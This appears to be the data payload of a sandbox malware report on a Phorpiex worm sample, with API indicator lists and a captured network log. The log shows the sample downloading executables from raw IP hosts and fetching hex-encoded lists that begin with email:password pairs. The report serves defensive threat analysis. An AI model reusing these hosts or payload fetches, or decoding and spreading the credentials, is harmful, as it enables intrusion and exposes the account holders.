24:I[7638,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/0g8d-v19n010u.js","/_next/static/chunks/2xonh_kqmr__3.js","/_next/static/chunks/3spet-0yezls2.js","/_next/static/chunks/2wvg5zqmbil4p.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/3l_wb6il5gi_h.js","/_next/static/chunks/136wug8odqdqr.js"],"SampleDetailWrapper"] 7a:I[27201,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/0g8d-v19n010u.js","/_next/static/chunks/2xonh_kqmr__3.js","/_next/static/chunks/3spet-0yezls2.js"],"IconMark"] 23:T4db,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Worm.Phorpiex.Generic Sample ee83f1e835ae… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample ee83f1e835ae…. Malware family: Worm.Phorpiex.Generic. Threat score 100/100. 13/27 AV engines flagged this file. 7 malicious and 19 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/ee83f1e835ae321ac303708151a85bdf35ff64b09eb706458e901bc77d40c83c","keywords":["Malicious","Worm.Phorpiex.Generic","malware analysis","sandbox report","threat intelligence","ee83f1e835ae321ac303708151a85bdf35ff64b09eb706458e901bc77d40c83c"],"about":{"@type":"SoftwareApplication","name":"ee83f1e835ae321ac303708151a85bdf35ff64b09eb706458e901bc77d40c83c.bin","applicationCategory":["peexe","executable"],"identifier":"ee83f1e835ae321ac303708151a85bdf35ff64b09eb706458e901bc77d40c83c","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Worm.Phorpiex.Generic","antivirusDetections":{"malicious":13,"total":27},"behavioralIndicators":{"malicious":7,"suspicious":19},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}25:T6e3,Found reference to API "CreateThread" (Indicator: "CreateThread"; File: "ee83f1e835ae321ac303708151a85bdf35ff64b09eb706458e901bc77d40c83c.bin") Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00000408.00000000.138506.00294000.00000002.mdmp") Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00001256.00000000.138238.003F4000.00000002.mdmp") Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00001924.00000000.138323.01324000.00000002.mdmp") Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00003516.00000000.138410.008D4000.00000002.mdmp") Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00004544.00000000.138589.00324000.00000002.mdmp") Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00004692.00000000.137796.00F34000.00000002.mdmp") Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00004708.00000000.138062.00E64000.00000002.mdmp") Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00005168.00000000.137868.00CF4000.00000002.mdmp") Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00005320.00000000.138700.00914000.00000002.mdmp") Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00007052.00000000.137941.00ED4000.00000002.mdmp") Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00007732.00000000.138153.01304000.00000002.mdmp") Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00008196.00000000.138799.000A4000.00000002.mdmp")26:Tf67,Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; File: "ee83f1e835ae321ac303708151a85bdf35ff64b09eb706458e901bc77d40c83c.bin") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; File: "ee83f1e835ae321ac303708151a85bdf35ff64b09eb706458e901bc77d40c83c.bin") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00000408.00000000.138506.00294000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00000408.00000000.138506.00294000.00000002.mdmp") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00001256.00000000.138238.003F4000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00001256.00000000.138238.003F4000.00000002.mdmp") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00001924.00000000.138323.01324000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00001924.00000000.138323.01324000.00000002.mdmp") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00003516.00000000.138410.008D4000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00003516.00000000.138410.008D4000.00000002.mdmp") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00004544.00000000.138589.00324000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00004544.00000000.138589.00324000.00000002.mdmp") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00004692.00000000.137796.00F34000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00004692.00000000.137796.00F34000.00000002.mdmp") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00004708.00000000.138062.00E64000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00004708.00000000.138062.00E64000.00000002.mdmp") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00005168.00000000.137868.00CF4000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00005168.00000000.137868.00CF4000.00000002.mdmp") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00005320.00000000.138700.00914000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00005320.00000000.138700.00914000.00000002.mdmp") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00007052.00000000.137941.00ED4000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00007052.00000000.137941.00ED4000.00000002.mdmp") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00007732.00000000.138153.01304000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00007732.00000000.138153.01304000.00000002.mdmp") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00008196.00000000.138799.000A4000.00000002.mdmp")27:T862,Found reference to API "" (Indicator: "CallWindowProc"; Source: "00000000-00000408.00000000.138506.02B60000.00000004.mdmp") Found reference to API "" (Indicator: "CallWindowProc"; Source: "00000000-00001256.00000000.138238.02FC0000.00000004.mdmp") Found reference to API "" (Indicator: "CallWindowProc"; Source: "00000000-00001924.00000000.138323.00500000.00000004.mdmp") Found reference to API "" (Indicator: "CallWindowProc"; Source: "00000000-00003516.00000000.138410.02950000.00000004.mdmp") Found reference to API "" (Indicator: "CallWindowProc"; Source: "00000000-00004544.00000000.138589.031F0000.00000004.mdmp") Found reference to API "" (Indicator: "CallWindowProc"; Source: "00000000-00004692.00000000.137796.00BC0000.00000004.mdmp") Found reference to API "" (Indicator: "CallWindowProc"; Source: "00000000-00004708.00000000.138062.00470000.00000004.mdmp") Found reference to API "" (Indicator: "CallWindowProc"; Source: "00000000-00005168.00000000.137868.03150000.00000004.mdmp") Found reference to API "" (Indicator: "CallWindowProc"; Source: "00000000-00005320.00000000.138700.02EF0000.00000004.mdmp") Found reference to API "" (Indicator: "CallWindowProc"; Source: "00000000-00007052.00000000.137941.00740000.00000004.mdmp") Found reference to API "" (Indicator: "CallWindowProc"; Source: "00000000-00007732.00000000.138153.00F70000.00000004.mdmp") Found reference to API "" (Indicator: "CallWindowProc"; Source: "00000000-00008196.00000000.138799.03160000.00000004.mdmp")28:Ta32,"" (Indicator: "enumchildwindows"; Source: "00000000-00000408.00000000.138506.02B60000.00000004.mdmp") Found reference to API "" (Indicator: "enumchildwindows"; Source: "00000000-00001256.00000000.138238.02FC0000.00000004.mdmp") Found reference to API "" (Indicator: "enumchildwindows"; Source: "00000000-00001924.00000000.138323.00500000.00000004.mdmp") Found reference to API "" (Indicator: "enumchildwindows"; Source: "00000000-00003516.00000000.138410.02950000.00000004.mdmp") Found reference to API "" (Indicator: "enumchildwindows"; Source: "00000000-00004544.00000000.138589.031F0000.00000004.mdmp") Found reference to API "" (Indicator: "enumchildwindows"; Source: "00000000-00004692.00000000.137796.00BC0000.00000004.mdmp") Found reference to API "" (Indicator: "enumchildwindows"; Source: "00000000-00004708.00000000.138062.00470000.00000004.mdmp") Found reference to API "" (Indicator: "enumchildwindows"; Source: "00000000-00005168.00000000.137868.03150000.00000004.mdmp") Found reference to API "" (Indicator: "enumchildwindows"; Source: "00000000-00005320.00000000.138700.02EF0000.00000004.mdmp") Found reference to API "" (Indicator: "enumchildwindows"; Source: "00000000-00007052.00000000.137941.00740000.00000004.mdmp") Found reference to API "" (Indicator: "enumchildwindows"; Source: "00000000-00007732.00000000.138153.00F70000.00000004.mdmp") Found reference to API "" (Indicator: "enumchildwindows"; Source: "00000000-00008196.00000000.138799.03160000.00000004.mdmp")30:T9f2," HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri 29 May 2026 21:47:23 GMT Content-Type: application/octet-stream Content-Length: 18944 Last-Modified: Fri 29 May 2026 05:13:58 GMT Connection: keep-alive ETag: "6a192096-4a00" Accept-Ranges: bytes with response body ==>4D5AC290000300000004000000C3BFC3BF0000C2B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000....... "GET /2.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Host: 178.16.54.109" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri 29 May 2026 21:47:24 GMT Content-Type: application/octet-stream Content-Length: 18944 Last-Modified: Fri 29 May 2026 05:15:02 GMT Connection: keep-alive ETag: "6a1920d6-4a00" Accept-Ranges: bytes with response body ==>4D5AC290000300000004000000C3BFC3BF0000C2B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000....... "GET /3.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Host: 178.16.54.109" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri 29 May 2026 21:47:25 GMT Content-Type: application/octet-stream Content-Length: 18944 Last-Modified: Fri 29 May 2026 05:33:20 GMT Connection: keep-alive ETag: "6a192520-4a00" Accept-Ranges: bytes with response body ==>4D5AC290000300000004000000C3BFC3BF0000C2B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000....... "GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/202.0.4664.110 Safari/537.36 Host: icanhazip.com" Response ==> HTTP/1.1 200 OK Date: Fri 29 May 2026 12:46:52 GMT Content-Type: text/plain Content-Length: 14 Connection: keep-alive Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET set-cookie: __cf_bm=7xzw1Rce1g8OjoCkFbsZvtCgf3KPsxBiux7_QEDtu1Y-1780058812.7972724-1.0.1.1-.e1v27LI3nBdgbIch7XNGKb6qXDR9cCN4jI4XpE6rLrCSa7o890N7kbvr44vh0rQN7ndf16bKcSEtCZMkhER1j.XEpFmpPs2ym.oawdpHvw6CZLgaTLkzrmy1R5thosj; HttpOnly; Path=/; Domain=icanhazip.com; Expires=Fri 29 May 2026 13:16:52 GMT Server: cloudflare CF-RAY: a0359abbfd78ed3a-SJC alt-svc: h3=":443"; ma=86400 with response body ==>36342E3132342E31322E3136320A....... "GET /n.txt HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/202.0.4664.110 Safari/537.36 Host: 178.16.55.240" Response ==> HTTP/1.1 200 OK Server: nginx/1.31.1 Date: Fri 29 May 2026 21:47:26 GMT Content-Type: text/plain Content-Length: 6 Last-Modified: Wed 27 May 2026 22:06:41 GMT Connection: keep-alive ETag: "6a176af1-6" Accept-Ranges: bytes with response body ==>313532343232....... "GET /4.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Host: 178.16.54.109" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri 29 May 2026 21:47:27 GMT Content-Type: application/octet-stream Content-Length: 18944 Last-Modified: Fri 29 May 2026 05:34:04 GMT Connection: keep-alive ETag: "6a19254c-4a00" Accept-Ranges: bytes with response body ==>4D5AC290000300000004000000C3BFC3BF0000C2B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000....... "GET /150234.txt HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/202.0.4664.110 Safari/537.36 Host: 178.16.55.240" Response ==> HTTP/1.1 200 OK Server: nginx/1.31.1 Date: Fri 29 May 2026 21:47:27 GMT Content-Type: text/plain Content-Length: 266240 Last-Modified: Wed 27 May 2026 19:56:07 GMT Connection: keep-alive ETag: "6a174c57-41000" Accept-Ranges: bytes with response body ==>6968323031390A616E6E616C6C616461407961686F6F2E636F6D3A41416B696E323238310A636872697374696E655F7175696D6F643835407961686F6F2E636F....... "GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/202.0.4664.110 Safari/537.36 Host: icanhazip.com" Response ==> HTTP/1.1 200 OK Date: Fri 29 May 2026 12:46:53 GMT Content-Type: text/plain Content-Length: 14 Connection: keep-alive Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET set-cookie: __cf_bm=KJaR.VZcc5.jIG8DuASOESWjPslp6RX8px9muP7qppY-1780058813.880146-1.0.1.1-kgANfXiFmbzz0_u4MsJBCKrqLq2JV2llqAVegY97kCbQD6Umiaq26QaJjooiHCFezf8wLEmyX_41UgB7_NgeA5fYVDiLREIxQXqFvu6GgsUaqBqWAyZBeGafUbZpgqfP; HttpOnly; Path=/; Domain=icanhazip.com; Expires=Fri 29 May 2026 13:16:53 GMT Server: cloudflare CF-RAY: a0359ac2bc1fad01-SJC alt-svc: h3=":443"; ma=86400 with response body ==>36342E3132342E31322E3136320A....... "GET /1/n.txt HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/202.0.4664.110 Safari/537.36 Host: 130.12.180.190" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri 29 May 2026 12:46:54 GMT Content-Type: text/plain Content-Length: 6 Last-Modified: Sun 24 May 2026 02:02:45 GMT Connection: keep-alive ETag: "6a125c45-6" Accept-Ranges: bytes with response body ==>35353037390A....... "GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/202.0.4664.110 Safari/537.36 Host: icanhazip.com" Response ==> HTTP/1.1 200 OK Date: Fri 29 May 2026 12:46:54 GMT Content-Type: text/plain Content-Length: 14 Connection: keep-alive Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET set-cookie: __cf_bm=AdY0OJkCVqoD8Q_dyjhTkrifK4.1jD0qi46pX.KH410-1780058814.850562-1.0.1.1-uu6j95vrNU69NP43YMatoaHeQTGh.4RcCVFaa6AP3A3VpJCvCyHg11XENcnifQb31ywNXpzr_CtolTt.oRJAGVmZfQbwmJxhhSd3_3moxiVVauY4YVgLrCfQXOJGbAtj; HttpOnly; Path=/; Domain=icanhazip.com; Expires=Fri 29 May 2026 13:16:54 GMT Server: cloudflare CF-RAY: a0359ac8cdd79ddb-SJC alt-svc: h3=":443"; ma=86400 with response body ==>36342E3132342E31322E3136320A....... "GET /3/n.txt HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/202.0.4664.110 Safari/537.36 Host: 130.12.180.190" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri 29 May 2026 12:46:55 GMT Content-Type: text/plain Content-Length: 6 Last-Modified: Sun 19 Apr 2026 09:28:25 GMT Connection: keep-alive ETag: "69e4a039-6" Accept-Ranges: bytes with response body ==>33373438380A....... "GET /5.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Host: 178.16.54.109" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri 29 May 2026 21:47:28 GMT Content-Type: application/octet-stream Content-Length: 18944 Last-Modified: Fri 29 May 2026 05:34:50 GMT Connection: keep-alive ETag: "6a19257a-4a00" Accept-Ranges: bytes with response body ==>4D5AC290000300000004000000C3BFC3BF0000C2B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000....... "GET /1/43862.txt HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/202.0.4664.110 Safari/537.36 Host: 130.12.180.190" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri 29 May 2026 12:46:55 GMT Content-Type: text/plain Content-Length: 258433 Last-Modified: Sat 23 May 2026 04:56:38 GMT Connection: keep-alive ETag: "6a113386-3f181" Accept-Ranges: bytes with response body ==>696D653132330A3539363735374073747564656E742E646D7363686F6F6C732E6F72673A636869636B656E77616E67310A6B696B697A69736572407961686F6F....... "GET /3/33899.txt HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/202.0.4664.110 Safari/537.36 Host: 130.12.180.190" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri 29 May 2026 12:46:55 GMT Content-Type: text/plain Content-Length: 258101 Last-Modified: Sun 19 Apr 2026 09:20:38 GMT Connection: keep-alive ETag: "69e49e66-3f035" Accept-Ranges: bytes with response body ==>380A6361746368657270726F3230303740636F6D636173742E6E65743A6A6F7368756130370A326A61636B64616E407765622E64653A6E654265733131772E0A....... "GET /6.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Host: 178.16.54.109" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri 29 May 2026 21:47:30 GMT Content-Type: application/octet-stream Content-Length: 18944 Last-Modified: Fri 29 May 2026 05:36:24 GMT Connection: keep-alive ETag: "6a1925d8-4a00" Accept-Ranges: bytes with response body ==>4D5AC290000300000004000000C3BFC3BF0000C2B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000....... "GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/202.0.4664.110 Safari/537.36 Host: icanhazip.com" Response ==> HTTP/1.1 200 OK Date: Fri 29 May 2026 12:46:57 GMT Content-Type: text/plain Content-Length: 14 Connection: keep-alive Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET set-cookie: __cf_bm=os.KFzGhjpVq0VieWb_DNq7lZ0MD8MAhqh0AZgQYLFY-1780058817.2565475-1.0.1.1-0cblGhmgdPmN_KD444BUWsVv7Jq9.RjKdjBTmAc26FqnAWvx4HVDuVyKuLNmn3dCUJgyjADSimRa4i7nSU821DTcnsGkfGjkMm8tzObfcpDyvzpFDLT_hW0QlcZE.jY3; HttpOnly; Path=/; Domain=icanhazip.com; Expires=Fri 29 May 2026 13:16:57 GMT Server: cloudflare CF-RAY: a0359ad7dc064c7c-SJC alt-svc: h3=":443"; ma=86400 with response body ==>36342E3132342E31322E3136320A....... "GET /4/n.txt HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/202.0.4664.110 Safari/537.36 Host: 130.12.180.190" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri 29 May 2026 12:46:57 GMT Content-Type: text/plain Content-Length: 6 Last-Modified: Mon 20 Apr 2026 02:00:15 GMT Connection: keep-alive ETag: "69e588af-6" Accept-Ranges: bytes with response body ==>36333532310A....... "GET /7.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Host: 178.16.54.109" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri 29 May 2026 21:47:31 GMT Content-Type: application/octet-stream Content-Length: 18944 Last-Modified: Fri 29 May 2026 05:37:14 GMT Connection: keep-alive ETag: "6a19260a-4a00" Accept-Ranges: bytes with response body ==>4D5AC290000300000004000000C3BFC3BF0000C2B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000....... "GET /4/34576.txt HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/202.0.4664.110 Safari/537.36 Host: 130.12.180.190" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri 29 May 2026 12:46:58 GMT Content-Type: text/plain Content-Length: 257947 Last-Modified: Sun 19 Apr 2026 16:14:27 GMT Connection: keep-alive ETag: "69e4ff63-3ef9b" Accept-Ranges: bytes with response body ==>61686F6F2E636F2E6A703A5469726B71313233210A6D6973657261626C65406D797761792E636F6D3A313938362D30342D30330A6B727A797369656B32303840....... "GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/202.0.4664.110 Safari/537.36 Host: icanhazip.com" Response ==> HTTP/1.1 200 OK Date: Fri 29 May 2026 12:46:59 GMT Content-Type: text/plain Content-Length: 14 Connection: keep-alive Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET set-cookie: __cf_bm=5dKSGgqfMi0zWJwvf0Wp_mNy.kgBReX0qOET43rWSw4-1780058819.4653437-1.0.1.1-9oixNIJUtifPEhseTUh.jMHwSMz.8B8PldxA6aJt9cIn34jQ2mOevcCnotfak9yLTkVfSnuT4G.KSDMms6bcfJVdaRyHmxgkJ6e_J3fyCoL3x272ANIp0I0OBqEkltr3; HttpOnly; Path=/; Domain=icanhazip.com; Expires=Fri 29 May 2026 13:16:59 GMT Server: cloudflare CF-RAY: a0359ae5abf029a0-SJC alt-svc: h3=":443"; ma=86400 with response body ==>36342E3132342E31322E3136320A....... "GET /8.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Host: 178.16.54.109" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri 29 May 2026 21:47:33 GMT Content-Type: application/octet-stream Content-Length: 18944 Last-Modified: Fri 29 May 2026 05:37:52 GMT Connection: keep-alive ETag: "6a192630-4a00" Accept-Ranges: bytes with response body ==>4D5AC290000300000004000000C3BFC3BF0000C2B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000....... "GET /5/n.txt HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/202.0.4664.110 Safari/537.36 Host: 130.12.180.190" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri 29 May 2026 12:47:00 GMT Content-Type: text/plain Content-Length: 7 Last-Modified: Thu 30 Apr 2026 12:29:06 GMT Connection: keep-alive ETag: "69f34b12-7" Accept-Ranges: bytes with response body ==>3132303936380A....... "GET /9.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Host: 178.16.54.109" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri 29 May 2026 21:47:34 GMT Content-Type: application/octet-stream Content-Length: 18944 Last-Modified: Fri 29 May 2026 05:40:00 GMT Connection: keep-alive ETag: "6a1926b0-4a00" Accept-Ranges: bytes with response body ==>4D5AC290000300000004000000C3BFC3BF0000C2B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000....... "GET /5/38019.txt HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/202.0.4664.110 Safari/537.36 Host: 130.12.180.190" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri 29 May 2026 12:47:01 GMT Content-Type: text/plain Content-Length: 258920 Last-Modified: Mon 20 Apr 2026 06:37:31 GMT Connection: keep-alive ETag: "69e5c9ab-3f368" Accept-Ranges: bytes with response body ==>616D696C6F6E3034407961686F6F2E636F6D3A393136313238363233310A627279616E5F616E67656C5F3739407961686F6F2E636F6D3A616C6C616E3132330A....... "GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/202.0.4664.110 Safari/537.36 Host: icanhazip.com" Response ==> HTTP/1.1 200 OK Date: Fri 29 May 2026 12:47:01 GMT Content-Type: text/plain Content-Length: 14 Connection: keep-alive Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET set-cookie: __cf_bm=YPMCmloPvPg0yiaX8vdHimGkLF43CHJ.CQ.83ZWvM6Y-1780058821.4691772-1.0.1.1-yHuVyasd33QCh_BYo.AEPr1ABW.EDrEOzbizgmdY9Qp4udR2OuwgxXUsRI4xhm5gsCNmzosGWqPkd6cr3p7LxhG8etRdG_YyCwEnXE6lNs2GXbeN2pgHwWWH8xpJ6f5Z; HttpOnly; Path=/; Domain=icanhazip.com; Expires=Fri 29 May 2026 13:17:01 GMT Server: cloudflare CF-RAY: a0359af22d23faa6-SJC alt-svc: h3=":443"; ma=86400 with response body ==>36342E3132342E31322E3136320A.......44:T579c,"" (Indicator: "GetDC"; Source: "00000000-00000408.00000000.138506.02B60000.00000004.mdmp") Found reference to API "" (Indicator: "GetDC"; Source: "00000000-00000408.00000000.138506.02B60000.00000004.mdmp") Found reference to API "" (Indicator: "GetWindowDC"; Source: "00000000-00000408.00000000.138506.02B60000.00000004.mdmp") Found reference to API "" (Indicator: "CreateDC"; Source: "00000000-00000408.00000000.138506.02B60000.00000004.mdmp") Found reference to API "" (Indicator: "CreateDC"; Source: "00000000-00000408.00000000.138506.02B60000.00000004.mdmp") Found reference to API "" (Indicator: "CreateCompatibleBitmap"; Source: "00000000-00000408.00000000.138506.02B60000.00000004.mdmp") Found reference to API "" (Indicator: "BitBlt"; Source: "00000000-00000408.00000000.138506.02B60000.00000004.mdmp") Found reference to API "" (Indicator: "CreateCompatibleDC"; Source: "00000000-00000408.00000000.138506.02B60000.00000004.mdmp") Found reference to API "" (Indicator: "GetDC"; Source: "00000000-00001256.00000000.138238.02FC0000.00000004.mdmp") Found reference to API "" (Indicator: "GetDC"; Source: "00000000-00001256.00000000.138238.02FC0000.00000004.mdmp") Found reference to API "" (Indicator: "GetWindowDC"; Source: "00000000-00001256.00000000.138238.02FC0000.00000004.mdmp") Found reference to API "" (Indicator: "CreateDC"; Source: "00000000-00001256.00000000.138238.02FC0000.00000004.mdmp") Found reference to API "" (Indicator: "CreateDC"; Source: "00000000-00001256.00000000.138238.02FC0000.00000004.mdmp") Found reference to API "" (Indicator: "CreateCompatibleBitmap"; Source: "00000000-00001256.00000000.138238.02FC0000.00000004.mdmp") Found reference to API "" (Indicator: "BitBlt"; Source: "00000000-00001256.00000000.138238.02FC0000.00000004.mdmp") Found reference to API "" (Indicator: "CreateCompatibleDC"; Source: "00000000-00001256.00000000.138238.02FC0000.00000004.mdmp") Found reference to API "" (Indicator: "GetDC"; Source: "00000000-00001924.00000000.138323.00500000.00000004.mdmp") Found reference to API "" (Indicator: "GetDC"; Source: "00000000-00001924.00000000.138323.00500000.00000004.mdmp") Found reference to API "" (Indicator: "GetWindowDC"; Source: "00000000-00001924.00000000.138323.00500000.00000004.mdmp") Found reference to API "" (Indicator: "CreateDC"; Source: "00000000-00001924.00000000.138323.00500000.00000004.mdmp") Found reference to API "" (Indicator: "CreateDC"; Source: "00000000-00001924.00000000.138323.00500000.00000004.mdmp") Found 